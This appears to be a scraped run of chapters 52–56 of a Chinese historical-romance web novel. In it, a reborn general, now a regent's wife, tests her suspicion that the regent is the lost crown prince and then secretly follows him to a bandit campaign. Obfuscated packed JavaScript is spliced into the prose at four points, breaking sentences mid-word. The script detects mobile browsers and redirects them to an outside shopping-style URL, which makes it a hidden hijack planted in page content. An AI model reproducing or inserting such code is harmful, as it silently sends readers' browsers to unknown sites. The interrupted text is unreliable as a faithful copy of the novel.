天空传来轰隆一声响,道道闪电劈裂天空。哗啦啦的雨水浇灌下来,却依旧洗刷不去遍地的血腥之气。 敌人畏惧着他们二人的战斗力,却依旧如饿狼一般扑过来。唐锶谐最先支持不住,一个单膝跪地然后栽倒在地。 整张脸都扑在泥水里,面具嵌进血肉里少许。他眼睁睁地看着头顶的刀落下,无力地闭上了双眼。 “哈——” 只听一声劈天盖地的声音,仿佛是从天际传来。兵器碰撞的声音刺得他鼓膜生疼,雨水尽情拍打着自己的脸庞,他勉强睁开双眼。 却见叶袭宸单膝跪地,手臂横在他的头顶,吃力抵挡着本应落在自己身上的刀。她神情扭曲,鲜血一点一滴从她的七窍中流出,尽数落于唐锶谐的脸上。 “快起来!” 叶袭宸怒吼一声将刀挡了回去,顺便一脚将人踢出去老远。然而后背却是空了出来,生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143140|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生吃了旁人一刀。 刀子插进血肉的声音响彻云霄。 叶袭宸神情痛苦,却依旧拼着一股子力气回身将砍伤自己的人劈作两半。 “啊——” 口里发出嘶吼的声音,叶袭宸目光凶狠,眼底猩红,似是从地狱里爬出来的恶鬼一般。 周遭的敌人被叶袭宸这股子气势生生逼退了两步。 叶袭宸冷笑一声伸出大拇指,随着唇角嘲讽地拉大,大拇指缓缓倒立朝下。 背部尚且还插着一把大刀,鲜血颤抖着落下。 唐锶谐趴在泥水里无力地望着。 叶袭宸脸色煞白,唇角哆嗦,面朝黄土直愣愣倒了下去。 只听砰地一声巨响,唐锶谐被溅起的泥水迷了眼睛,却依旧奋力地朝叶袭宸爬去。 “哈哈哈哈哈哈!” 围攻他们的敌人发出尖锐的笑声,惹得老天都禁不住打了好几个霹雳。 “叶!” 唐锶谐摇晃着叶袭宸的身体,然而却无济于事。她紧闭双眼,似是睡着了。 背上那把大刀刺激着唐锶谐的视野。 “把他们带回去!剥了皮吃肉!” “哦呜——” 敌群里发出震耳欲聋的癫笑声。 ! 叶袭宸一个激灵醒了过来,她坐起身子,胸口剧烈起伏。 “做噩梦了?” 头顶传来一道少许温柔的声音,叶袭宸抬头看,唐锶谐那张戴着半张面具都叫人移不开视线的面庞映入眼中。 她想起来了。 前世她是见过唐锶谐真实相貌的。 那日他们被围困山谷之中,虽然最后两人都筋疲力竭倒下,可最后他们的军队攻了上来,及时将他们救下。 养病期间,是唐锶谐每日来给她背后的伤口上药包扎。她好奇于他面具后的容貌,以救命之恩相挟摘下了他的面具。 那是一张无论男女见了都会自愧不如的面庞。 唐锶谐在床边坐下来,握了握叶袭宸的手。 “脚还疼吗?” 叶袭宸摇了摇头,唇角微勾:“有摄政王上药,已经不痛了。” 唐锶谐的声音又低又柔:“方才你睡着了,大夫来看过你了,说是并无大碍,只需静心修养一段时间。” 他从外头端回来一碗汤药,轻轻吹了吹,状似不经意间问道:“你今日怎么想起舞剑了。” 叶袭宸回得理所应当:“我乃叶袭宸,不会舞剑怎么可以。” 唐锶谐捏着汤匙的手顿了一下,随即眉头轻皱,温柔如冰块融化般随着溪水的流淌而低沉下去。 “你可知那叶袭宸是我一击毙命的?” 叶袭宸轻笑一声:“自然。” “若你是叶袭宸,你怎会不记恨我?” 叶袭宸觉得有几分好笑,她屈起右腿,手肘撑在膝盖上,单手支着脑袋,侧头看着唐锶谐,唇畔沁着笑意。 “你怎知我没有记恨于你?” 唐锶谐依旧稳如泰山:“你若是记恨我,我如何这么长时间安然无恙?” 53. 第 53 章 沈道溦的脚伤十几日后才好,然才能下地她就嚷嚷着要去军营。唐锶谐拗不过她,只好带她去了。 士兵们正在操练,动作整齐划一,声音响彻云霄。唐锶谐带着沈道溦四处逛了逛,本以为她见到闪着寒光的兵器会不适应,不想她的眼睛里却始终闪着亮光。 一个似是校尉模样的人跑步过来,本想汇报士兵的训练情况,注意到跟在唐锶谐身旁的沈道溦,不由得止住了话头。 唐锶谐问道:“情况如何?” 那个校尉不再顾忌:“正在挑选铁英队士兵,请摄政王指点。” 唐锶谐点了点头。 校尉一声令下,士兵们立即进行一对一近身格斗。他们光着膀子,黑黢黢的皮肤在阳光下闪着亮光。汗珠子仿佛不要银两似的大刺刺落下,个个脸红脖子粗。 此起彼伏的喊叫声充斥着整片演武场,任何人听了都会心潮澎湃。 沈道溦自然也不例外。 前世她初入兵营时,只是一个最普通不过的士兵,不过是在土匪山上学了点儿唬人的功夫而已,正是在一场又一场的训练中才慢慢成就了后来的自己。 时隔两年,她如今再次进入军营。虽然不是以士兵的身份,但是她已经很满足了。 就在沈道溦感慨的时候,唐锶谐的目光一瞬不瞬地落在她身上,似是要将她全部的反应尽收眼底。沈道溦似有所察,将视线对了上来。 唐锶谐微微抿唇,偏移了目光。 沈道溦不做他想,只是将视线放在了旁边的校尉身上。她微微眯了眯眼睛,这个校尉似有几分眼熟。 许是察觉到了她的视线,校尉看了过来。沈道溦轻轻一笑,校尉的脸立即涨红,手不自觉地挠了挠后脑勺。 唐锶谐似有所察,目光深沉地在他们两个之间打转。 沈道溦讪讪一笑,兀自走到了兵器架前。唐锶谐也跟着过来了,微微拧着眉头。他正要开口,不料沈道溦的嘴巴更快。 “那个校尉系谁?” 唐锶谐缓缓吐出一口浊气:“他是程重锦。” 沈道溦笑着点了点头:“原来是他。” 程重锦正是当年的城门尉。若非当年他打开城门,迎接唐锶谐入城,前世她也不至于这么快就被踢下皇位。 沈道溦原本心情极佳,如今却是兴致缺缺。 “我想回去了。” 唐锶谐没有多问什么,只是握紧了沈道溦的手:“好。” 他并未一同与沈道溦回府,而是半道上去了皇宫,依旧是拿些折子回去批复。 奏折都堆砌在金銮殿上。 以往的金銮殿乃是富丽堂皇,叫人望而生畏的存在。如今却是冷冷清清,仿若一座冷宫般浸满了凉意。 有几个太监在周围打扫。 虽然不上朝了,但是毕竟也是大臣们上奏折的地方。 灰扑扑的总是太过难看。 那几个洒扫的太监像是幽灵似的,从来不开口说话。倒不是他们不肯,而是不能。 这几个都是当今皇上亲挑细选出来的,全都是哑巴。即便看到了什么,听到了什么,也不会说出去。 唐锶谐一袭青衣踩在干净的地面上,正要拿起奏折时,龙椅背上却倏地跳出来一个人来。 此人身着龙袍,帽帘上的珠子晃得清脆作响。 不是花疏叶又是谁。 他嘻嘻地笑着,脸上挂着童真的笑容,像是还没有长大似的:“摄政王,你来了。” “来了。”唐锶谐轻轻地应了一声,他慢吞吞地收着奏折,心里却在暗自琢磨。 上次他来时,花疏叶并不在这里,怎么今日就在了。他不由得想起这段时间沈道溦的情形,以及前几日符无虞开坛做法时说过的话。 “皇上可曾见过臣的王妃沈道溦?” 唐锶谐问这句话的时候,花疏叶正在提着蝈蝈笼子。他茫然地抬起头:“见过,那日你成亲的时候朕去喝了喜酒。” “除了这次还有吗?”唐锶谐耐着性子问了一句。 花疏叶的食指点在唇角,头微微仰起,似在思考。 “前段时间……好像在摘星楼见过。” 唐锶谐的心倏地一紧。 “皇上可曾对她说过什么?” “说过呀。”花疏叶依旧是笑嘻嘻的:“王妃对叶袭宸很是感兴趣,朕就和她说了所有叶袭宸的事情,当然,仅限朕知道的。” 唐锶谐闭了闭眼睛。 “皇上可否对臣也说一遍?” “好的呀。” 花疏叶咧着唇角,娓娓道来。 唐锶谐静静听着,垂在身侧的手不由得捏紧。 就在唐锶谐在皇宫听故事的时候,沈道溦去了苏御史府去见了苏清源。 赏花会办不了了。 如今帝京内到处都在说自己已经痴傻,再办赏花会,岂不是自讨没趣。与其招来一群人应付,不如只专心对付一个。 沈道溦惯会给自己上难度。 苏清源是个嘴巴极其不饶人的,应付这一个比应付上百个都要困难。可一旦应付得当,说不准还能赚个朋友。 前世苏清源就惯会上朝弹劾自己,今日说自己抢了谁家男子,明日说自己如何在将军府里养面首。而且还是当着众朝臣的面,搞得花疏玉不惩罚自己都说不过去。 是以前世叶袭宸与苏清源的关系并不是十分融洽,在街道上遇到了还会刀剑相向的那种。可叶袭宸是个有分寸的,也只是挥了几下鞭子吓唬吓唬苏清源罢了,从未真正伤害到她。 没想到这家伙却不依不饶了,昨日叶袭宸刚挥了鞭子,今日苏清源就会在花疏玉面前弹劾。但苏清源越是弹劾,叶袭宸就越是要对着她挥鞭子。 如此这般循环往复,直到有一日叶袭宸实在是压不住火气了,竟真的朝苏清源抽了过去。苏清源是个文官,平时上街也不会带什么人,也就几个手无缚鸡之力的小厮和丫头。 结果他们全都挨了叶袭宸的鞭子,衣服都抽破了。苏清源虽然没有挨鞭子,但是比挨鞭子更让她生气。 结果自然是去花疏玉面前告状去了。花疏玉勃然大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈道溦点了点头,细细品起茶来。 茶香袅袅,上面漂浮着几片碎叶,点缀得恰到好处。沈道溦轻轻吹了吹,抿了一口。茶水入口的同时,一股子苦涩在唇间蔓延。然不过片刻,一股子醇香就充斥其中。 等了约莫有半柱香的功夫,苏清源还未过来。沈道溦坐得腿脚有些麻了,便由若云搀扶着在屋里四处闲逛。 刚开始的那个小厮又过来了,手里还捧着一本书册:“请王妃阅读解闷儿。” 沈道溦接过书册,“这是苏御史叫你给我的吗?” 小厮摇了摇头。 沈道溦扬了扬手里的书册:“既是如此,你岂不是自作主张?” “主子先前就想过去拜访王妃了,只是一直没有时间。”小厮道:“这本书也是主子要赠予王妃的,只是如今才送出去。小的本不想自作主张,但主子正在赶回来的路上,怕王妃寂寞,才出此下策。” 这小厮倒是个能说会道的。 沈道溦并未看书册,只是瞧着小厮的脸:“我看你有几分眼熟。” 小厮还未开口,外头一道声音已然传入内。 “怎么?王妃这是真将自己当做那叶袭宸了吗?” 54. 第 54 章 沈道溦循声望去,苏清源一袭白色衣衫进来,举手投足之间给人以美感。 她倒是忘记了,这个苏清源也是个大家闺秀,出身御史世家。不过前世倒是没看出她行为举止有什么美的,只觉得天天一袭白衣,活像是要奔丧似的。 苏清源身为御史,嘴巴自然极其厉害。前世她说不过她时,便经常拿她的着装开玩笑。每回苏清源都气得不行,但第二日出行依旧一袭白衣。 据说是有讲究的,说是白衣显得家世清白,为官清廉。她对这个向来是轻嗤一声,若是人人都效仿,那上朝时全都成奔丧的了。 苏清源已经来到了沈道溦面前,将方才的话再次重复了一遍:“王妃是真将自己当成那叶袭宸了吗?” 她绕着沈道溦走了一圈,“近日茶肆饭馆皆有议论,说是王妃疯魔了,以为自己就是叶袭宸。整日习武不说,还经常出没秦楼楚馆,调戏貌美男子。” “秦楼楚馆?苏御史说的可是兰庭戏院?”沈道溦上下打量着苏清源:“看苏御史这副模样,应也是刚从兰庭戏院出来的吧。” 苏清源自然不肯承认,坐下品了一口茶:“我出行的时候都是这副模样。” 沈道溦将书卷了,坐在苏清源的对面:“可苏御史身上的味道却不是每日必备吧。” 兰庭戏院的熏香很是特别,只要进去过就不可避免地被沾染上。可这股子味道并非那么浓郁,只需半日便会自行散去。而如今苏清源身上的味道弥久不散,可见是在里面待了不少时间的。 既然被沈道溦看出来了,苏清源也不再隐瞒。她将茶杯重重往桌上一放:“不错,听闻王妃前来,我便着急从兰庭戏院赶了回来。” 沈道溦笑了笑:“苏御史如此急切,可见是上了心的。” 苏清源起身,恭敬地向沈道溦行了个礼:“王妃恕罪,方才有所冒犯,望请见谅。” 沈道溦亲自将苏清源扶起来:“无妨。” 苏清源叫人来上了最好的茶,茶水色泽清亮,一闻便神清气爽。沈道溦细细品起来,神情之间满是赞赏。 苏清源问道:“不知王妃前来所为何事?” “只是想起一些陈年旧事,来找你求证一下。”沈道溦道:“你可曾见过废太子花疏玟?” 苏清源自小跟在父兄身边,对于太子花疏玟自然是见过的。 沈道溦又问道:“可否画一幅画像出来?” 苏清源乃是大家闺秀,琴棋书画也是样样精通。虽然比不上帝京第一才女沈道溦,可也是有口皆碑的存在。 苏清源立即叫人磨墨,亲自作画。然而心思却不在画作上,她不时偷瞄坐在一旁看书的沈道溦。 花疏玟乃是与沈道溦有婚约之人,而如今的相公摄政王却是花疏玟的伴读。按理说,这两人都是见过花疏玟的,沈道溦本身又是才女,何须自己来作画。 再者,作画何用?倘若沈道溦与花疏玟没有婚约便也罢了,依照唐锶谐与花疏玟的关系,挂一幅太子的画像在家中凭空思念也是合情合理的。可偏偏两人曾经有过婚约,再挂这样一幅画出来岂不是尴尬。 苏清源与沈道溦并无任何交情,只是闻其大名久矣。此番她登门,即便自己再有疑惑,也会尽力满足。 只是她对近日关于沈道溦的言论却不敢苟同。旁人都说沈道溦疯癫了,一言一行都与死去的叶袭宸极其相似。可今日看来却不尽然。 那叶袭宸是个什么东西苏清源能不知道吗,骄纵跋扈,蛮横无理。声色犬马,嚣张至极。仗着有长公主撑腰,即便被人弹劾也毫无收敛之意。 而沈道溦却是知书达理的大家闺秀,一言一行都合乎规矩。即便她也开始习武,研究兵法,也必定会是一代儒将,断无可能成为叶袭宸那般无法无天的人物。 苏清源看着沈道溦这样思忖着,沈道溦翻过一页书,许是察觉到了她的视线,抬起头来。 见苏清源依旧看着自己,沈道溦放下书本起身:“可是画好了?” 苏清源回神,忙不迭地点了点头。沈道溦走过来,站在苏清源面前看着眼前这幅画作。 画上的乃是个约莫十三四岁的少年,与那晚沈道溦见到的唐锶谐有几分相像。可若是严谨说的话,倒是与沈道溦第一次见面时的花疏叶很是相似。 沈道溦轻笑一声。 看来是了。 唐锶谐就是花疏玟,花疏玟正是唐锶谐。 先前沈道溦还怕冤枉了他,如今有画作为凭,还能怎么冤枉。 “多谢苏御史。”沈道溦朝苏清源扬了扬手里的书:“还有这本书。”指腹摩挲着书封:“上面有不少治国之策,和以往历代帝王的生平起居。” 她看了小厮一眼:“听说苏御史原本就想赠予我,今日正巧我来了,就却之不恭了。” 苏清源微微颔首,心里有些奇怪。 原本沈道溦是来求画的,怎么只是看了一眼就谈起别的了呢,仿佛是要故意转移话头似的。 “今日在府上待得够久了。”沈道溦抬头看了看外头的天色:“我也该回去了,苏御史有空的话可以来摄政王府坐坐。” 苏清源一句话未说,沈道溦已经快要迈出了门槛,临走之际回头看了小厮一眼,“我看他着实眼熟。” 似是想起了什么似的,苏清源面上闪过一丝厌恶:“他本是我的护卫,两年前被那叶袭宸强占了。” 小厮满脸羞愧:“是我学艺不精。” “可否请教下你的名字。” “只有一个诨名石榴。”苏清源道:“姓时,家中排行老六,人称时六。” “时、六。” 沈道溦将这个名字咀嚼了一遍,“我记住了。苏御史,你这个小厮是个聪明的。” 苏清源微微愣神,沈道溦已经离开了。她看着桌上墨迹未干的画作,有些想不明白沈道溦跑这一趟的目的。 连画都未拿走。 府外,沈道溦上了马车才着实松了一口气。苏清源向来看不惯自己的前世,她也就尽量表现得中规中矩些,省得惹她生厌。 不过此行除了验证自己心中的猜想外,居然还有另外一份儿收获。 沈道溦翻着手里的书册。 封面略显陈旧,看上去有些年头了。纸页有些微微泛黄,甚至还有些卷边。 可见苏清源翻了多少次。 里面还有不少苏清源的字迹,应是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151724|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她自己的心得体会,掺杂着少许日志,看着也着实有些意思。 沈道溦继续翻着,一直到摄政王府才停下。听说唐锶谐已经在书房里了,她便叫若云把书送回暖雪阁,自己则去找了唐锶谐。 书房内唐锶谐正在批阅奏折,书房外谢有缘和林有分一左一右护卫着。沈道溦正要进去,却被拦住:“摄政王有令,任何人不得进去打搅。” “连我也不行吗?” “不行。王妃请见谅,莫要难为我等下人。” 沈道溦问道:“摄政王今日入宫可是遇到了什么事情?” 两个护卫俱是摇了摇头。 沈道溦略微一思索,随即展开笑容:“既是如此,等摄政王出来时帮我传句话。” “什么话?” 沈道溦的视线落在林有分身上,唇角依旧勾着:“近来缺了林有分在身旁护卫,十分不习惯,请摄政王做主,让林有分重新回到我身边吧。” 这几句话听上去怎么有几分怪异。 谢有缘看了林有分一眼,林有分吞了下口水。 沈道溦轻轻一笑后离开。 她走后不过半晌,唐锶谐便从里头出来了。双眼布满红丝,神情也略微有几分憔悴。 “方才系谁来过?” 谢有缘道:“是王妃。”犹豫片刻,又道:“她还说……” “什么?” 谢有缘将方才沈道溦的话重复了一遍。 唐锶谐略微怔了一会儿,随即笑了起来:“好事。” 好事? 这有什么好的? 谢有缘和林有分对视一眼。 摄政王不觉得奇怪吗? 先是莫名其妙将林有分赶回来,现在又莫名其妙将林有分要回去? 感觉总像是做完了坏事然后引颈就戮一般。 唐锶谐拍了拍林有分的肩膀:“走,与我一同前去暖雪阁。” 这个动作,不仅是林有分,连谢有缘也着实吃了一惊。 摄政王从来不喜身体触碰,无论男女。自然,王妃除外。可如今怎么拍起别人的肩膀来了,还是主动的。 林有分神情复杂,有些想起了沈道溦在兰庭戏院时拍自己肩膀的动作。 难不成叶袭宸是种瘟疫,所有染上这种病的人都会不自觉地模仿她的神态语言以及动作? 今日摄政王的确在金銮殿内听了皇上讲了一个下午的故事,全都与叶袭宸有关。 不过话又说回来,拍肩膀这个动作似乎也不是叶袭宸专属。 武将一般都是比较性格豪爽的。 但摄政王是个例外。 如今这个例外是要转变了吗? 唐锶谐已经走到了暖雪阁,将林有分留在外头,自己进去了。 沈道溦正在捧着苏清源送的那本书看得津津有味,冷不防唐锶谐从外头闯了进来,不由分说便扯起她的胳膊往床上压。 什么情况? 沈道溦被唐锶谐吻得七荤八素,粗重地喘息着。这一喘不要紧,她嗅到了唐锶谐身上若有若无地飘着一股子不属于他的味道。 不似是一般的熏香,反倒有些像是一种罕见的催眠香。 55. 第 55 章 第二日唐锶谐醒来的时候,身旁空无一人。他揉了揉太阳穴,想起了昨夜的事情。 沈道溦将一杯凉茶尽数浇在了他的头上,他的神智倒是清醒了几分,但是现在脑袋却有些痛。 唐锶谐下了床,沈道溦在外厅里写大字。见他出来,只是面无表情地抬起头看了他一眼。 唐锶谐自觉有愧,走上前去从背后握住沈道溦执笔的手,下巴也顺势磕在她的肩膀上。 “昨夜的事情,对不起。” 沈道溦并未说话,只是轻轻叹了一口气。 “昨日你去金銮殿时拿奏折时遇见了皇上是不是?” 唐锶谐想了想,觉得似乎没有什么不可以说的,便点了点头:“是的。” 沈道溦又道:“他手里还拎着一只蝈蝈笼子?” 唐锶谐沉默了片刻后点头:“是的。” 沈道溦笑了一声,“果然如此。” 唐锶谐犹豫片刻:“道溦,皇上到底还是小孩子心性,我们不要对他要求太高。” “二十岁了也算孩子吗?”沈道溦神情平静道:“昔日太子不过十一二岁,便能协助老皇处理政务,甚至能提出自己独到的见解。倘若他还活着,大衍在他手里定然不会是如今这副情形。” 唐锶谐松开了她的手,往后退了几步,直到背后撞上椅子,才顺势坐下来。他摇头苦笑两声,似是陷入了极大的痛苦里:“可惜!太子早已经在十二年前的那场大火里死了!” 沈道溦看着扶额的唐锶谐,唇角不由自主地抿了一下,眼神愈深。 唐锶谐没有痛苦太久,他很快就抬起了头,神情恢复成以往那般古井无波:“昨日皇上说了,城外凤尾山上土匪猖獗,让我率队前去剿灭。故而近些日子不能在家里了,你好生照顾自己。” 凤尾山? 褚梅瑛。 沈道溦若有所思,片刻后开口:“我与你一同去。” 唐锶谐想都没想就断然拒绝:“不可,凤尾山上的土匪穷凶极恶,你去了会有性命之忧!” 沈道溦唇角上扬:“不是有你保护我吗?” 唐锶谐顿了一下,“我此去是去剿匪的,难免顾及不到你。若是有个闪失……” 沈道溦靠在桌上,双手环胸:“若是你不让我去,我也会暗暗跟去的,到时岂不是更危险?” “道溦……”唐锶谐神色略沉:“你是在故意为难我。” 沈道溦迎上他的眼神:“正是。” “你……”唐锶谐抿紧了唇:“你为何非去不可呢?” 沈道溦有理有据:“先前你说正是那叶袭宸留了大当家梅三刀一命,凤尾山如今才又死灰复燃。既是如此,我定要去见识一下。那个梅三刀究竟有何本事,能让心狠手辣的叶袭宸饶她一命。” 唐锶谐拧了下眉头:“仅仅只是这个原因?” “还有一个。” 沈道溦走到唐锶谐面前,握紧了他放在桌上的手,抬起头深情地望着:“你我新婚燕尔,我如何受得了离别?” 唐锶谐的眉头舒展开,眼底也染上了几分笑意,但随即又摇了摇头:“不可!凤尾山地形险恶,易守难攻,我岂能让你涉险?” 沈道溦神情僵硬了一瞬。 然不等她再开口,唐锶谐便道:“我会将谢有缘和林有分留在府里,一同看管着你。你就莫要想着逃出去了。” 说完,也不管沈道溦如何,径直走了出去。 沈道溦看着他离开,垂在衣袖里的手不由得微微握紧了。 晌午过后,外头有人禀报,锦云庄的老板言娘子来拜访王妃。唐锶谐正在看当年叶袭宸剿匪的战报,听是锦云庄,以为是沈道溦约了做衣服之类的,便叫人将言娘子送到了沈道溦那里。 来人自是沈言商。 沈道溦将其迎进来,问道:“怎么现在才来?” 沈言商端起茶喝了一口:“近日帝京不甚太平,特别是摄政王府,我也不好前来打扰。” 沈道溦不自觉地点头:“确实如此。对了,你与褚梅瑛现如今关系如何?” 沈言商抬头看了她一眼:“周老板没有与你说吗?” “并无。”沈道溦不自觉皱起了眉头:“出什么事情了?” “褚梅瑛并没有来向我赔礼道歉,最后是周老板亲自来锦云庄上找我,我才答应下来的。而那个褚梅瑛,早就逃得无影无踪了。” “难怪。”沈道溦笑了一声。 “难怪?”沈言商道:“莫非你早知褚梅瑛会这样做?” 沈道溦端起茶杯:“倒也不算早知,只是验证了我心里的某个猜想。” “遇人不淑。”沈言商道:“我听周老板说那人是你带去她那里的。” 沈道溦微微颔首:“的确如此。” 沈言商眯了眯眼睛:“听说她的身份来历还不简单?” “是的。” 沈言商盯着沈道溦的脖颈,上面有一道浅浅的粉色痕迹,如若不仔细观察,定看不出什么。况且沈道溦还特意用了一条银白色的链子遮挡,就更为看不出了。 “我记得早前你来找我时,脖子上便缠了一道白色的绷带。”沈言商道:“如今想来,定是这褚梅瑛的杰作。” “所言极是。” 沈言商定定地看了沈道溦半晌,神情复杂:“有时我真不知你到底是如何想的。” 沈道溦不置可否:“有一日你会知道的。” “茶也喝过三杯了,我该回去了。” 沈言商起身便走,沈道溦叫住了她:“小妹,谢谢你。” “不谢。”沈言商抬脚又要走。 沈道溦问道:“近日兄长有去过你那里吗?” 沈言商点了点头:“有。” “我明白了,多谢小妹。” 沈言商离开了,沈道溦坐在椅子上沉思。若云从外头进来了,担忧开口:“主子,摄政王已经准备要出发了。” 沈道溦没有任何反应。 若云又叫了一声:“主子。” 沈道溦终于有了反应,食指轻轻在案几上点了两下:“我们稍作休息就出发。” “主子果真要一同前去吗?”若云担忧道:“主子没有武艺傍身,若是去了,岂不是给摄政王添乱?” 沈道溦不言。 若云叹了一口气道:“到时若是摄政王生气了,该如何是好?” 沈道溦不置可否。 若云摇了摇头,知道自己劝不住沈道溦了。自家主子虽然外表柔弱,但实际内里十分刚强,认准的事情就算十头牛也拉不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156566|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来。即便撞了南墙也偏要撞得头破血流,直到墙撞倒了才肯安心。 若云微微欠了欠身退出去,准备去收拾东西。长辞跑过来指了指外头,她顺着手指的方向看过去。 谢有缘和林有分两个人已经站在院门口了,一个比一个赛脸黑。 谢有缘十分不服气:“这算什么事情,还以为能跟着摄政王有架打了,没想到被发配在这里看守院子。这和流放有什么区别?” 林有分目不斜视:“你就别再抱怨了,小心让摄政王听到。” 谢有缘道:“听到又如何?看守院子只需派几个小护卫即可,让我们两个在此看守岂不是大材小用?” 林有分道:“摄政王定有他的道理,我们只需遵命即可。” 谢有缘道:“能有什么道理?无非是怕王妃跑出去会汉子罢了。” 林有分的脸色变了:“你这说的什么话,小心脑袋搬家!” 谢有缘也觉得自己越发口无遮拦了,急忙捂住嘴巴,左右张望。 “小心祸从口出!”林有分道:“摄政王虽然是个心善的,皇上这么不堪大用,他都没有将赶下皇位,但对我们未必这么宽容。” 谢有缘依旧十分气恼,但却不谈皇上,只是道:“看守王妃也未必要我们两个吧,王妃手无缚鸡之力,即使只有几个小护卫她也未必逃得出去。” 林有分想起了那日沈道溦在院子里打拳时的情形,开口:“未必。” 谢有缘以为林有分认同了自己的话,很是得意:“我说是吧。” 林有分摇了摇头:“我说王妃未必逃不出去,她的身手和谋略可能已经到了我们无法预测的地步。” 谢有缘不以为然:“未必。即便王妃如传闻那般开始习武,然而也不过才几个月而已。如此短的时间,她如何能达到这个境界?” 林有分不说话了。 谢有缘趁机道:“不若我们再去向摄政王请求一下,让我们随同去剿匪,在这里待着委实太没有意思了。” 林有分道:“你若是想脑袋不保,大可以去试试。” 谢有缘立即道:“那还是算了吧。” 两人一阵相顾无言,然不过片刻,谢有缘顿时又不安分起来,开始叫苦连天:“啊啊啊啊老天不公!老天不公呐!” 林有分白了他一眼,“倘若你觉得老天不公,待摄政王凯旋归来时,你可以去找程重锦切磋一番,出口气便是了。” “为何要找他出口气?”谢有缘想了想后明白了:“难不成他跟着摄政王去了凤尾山?” “自然。” 谢有缘一听果然更气愤了,“这个宵小之辈都能去剿匪,我等却要在此站岗护院,何其不公!” 林有分无奈摇了摇头,正要再劝几句,视线无意识瞥向里面,却见沈道溦静静站在那里,不知道站了多久,将他们的对话听了多少。 他不由得吞了下口水。谢有缘这厮还在叫嚣,林有分急忙踢了一颗石子。谢有缘被打中了膝盖,疼得痛叫一声。正要骂林有分几句,却见后者朝自己挤眉弄眼。他顺着视线看过去,却见到一脸笑容的沈道溦。 ! 谢有缘和林有分立即跪下:“王妃!” “既然二位如此不愿,便与我一同偷偷跟去如何?” 56. 第 56 章 唐锶谐离开后没几日,一辆马车载着沈道溦出城而出。要问谢有缘和林有分两人如今身在何处,不巧,正是驾车的两人。 谢有缘有些郁闷:“我们居然就这么被王妃说服了。” 林有分驾驶着马车:“可见王妃是个有本事的。嘴皮子不是很利落,但很会对症下药。” 谢有缘捂着自己的脸:“谁说不是呢?王妃知道我二人心有怨言,早早就在旁边恭候了。” 林有分道:“可见摄政王是个昏庸的,居然派我二人看护王妃,他合该派个对他言听计从的人。” 谢有缘很是苦恼:“可是若是王妃出点儿什么事情,摄政王怪罪下来,可如何是好。” 林有分道:“横竖脑袋已经悬在脖子上摇摇欲坠了。王妃说得没错,那梅三刀既然能潜入帝京对摄政王下手,自然也不会放过他不在府上的机会。此乃围魏救赵之计,那梅三刀若是个脑子不清楚的,当年叶袭宸也不会私自招安她。” 两人相谈甚欢,不料身后一只手掀开了车帷。长辞那张面无表情的小脸儿出现在二人眼前,他硬邦邦地开口:“王妃说,车帷不隔音。” 谢有缘和林有分对视一眼,皆面露尴尬。 “王妃说得是,我二人好生赶车即可。” 马车内不仅有长辞和沈道溦,还有若云。沈道溦本来不想让她跟来的,但是若云很是坚持。 “主子以身涉险,奴婢怎么能独善其身?即便要死,奴婢也要一直跟着主子。” 沈道溦像往常一样捏了捏她的脸,笑着道:“远远不到这个地步。” 虽然沈道溦这么说,但若云心里依旧不得安心。如今看她却是在马车里静心养神,似是在琢磨什么,若云的一颗心不由得提了起来。 她虽然不知道发生了什么事情,但是能够隐隐猜得出。主子离开王府,来凤尾山寻摄政王府,并非是想与其朝夕相处。也并非是游说谢有缘和林有分时说的什么惧怕凤尾山土匪围魏救赵之计,而是另有隐情。 究竟是何隐情,若云不得而知。但看自家主子眉头紧锁,便觉事情十分不简单。 果不其然,当一行人抵达唐锶谐的营地时,正巧遇上一波土匪正在偷袭。几个营帐都被烧得焦黑,刹那间万箭齐发。士兵们跑来跑去,有的提着桶去救火,有的拿起长枪抵抗。 场面顿时混乱不堪,厮杀声不绝于耳。沈道溦站在远处望着,火光照亮了她坚毅的面庞。 凤尾山上的土匪不好对付,否则她当年也不会采取火攻这个法子。但是没想到经过三年前那一战后,如今的凤尾山还有现在这个魄力,居然趁着唐锶谐刚来,舟马劳顿之际来偷袭。 有眼尖的土匪发现了沈道溦,哈喇子都险些流下来了,招呼几个土匪就要硬抢。 “世上还有如此绝色的女子,待我擒她回去享用一番!” 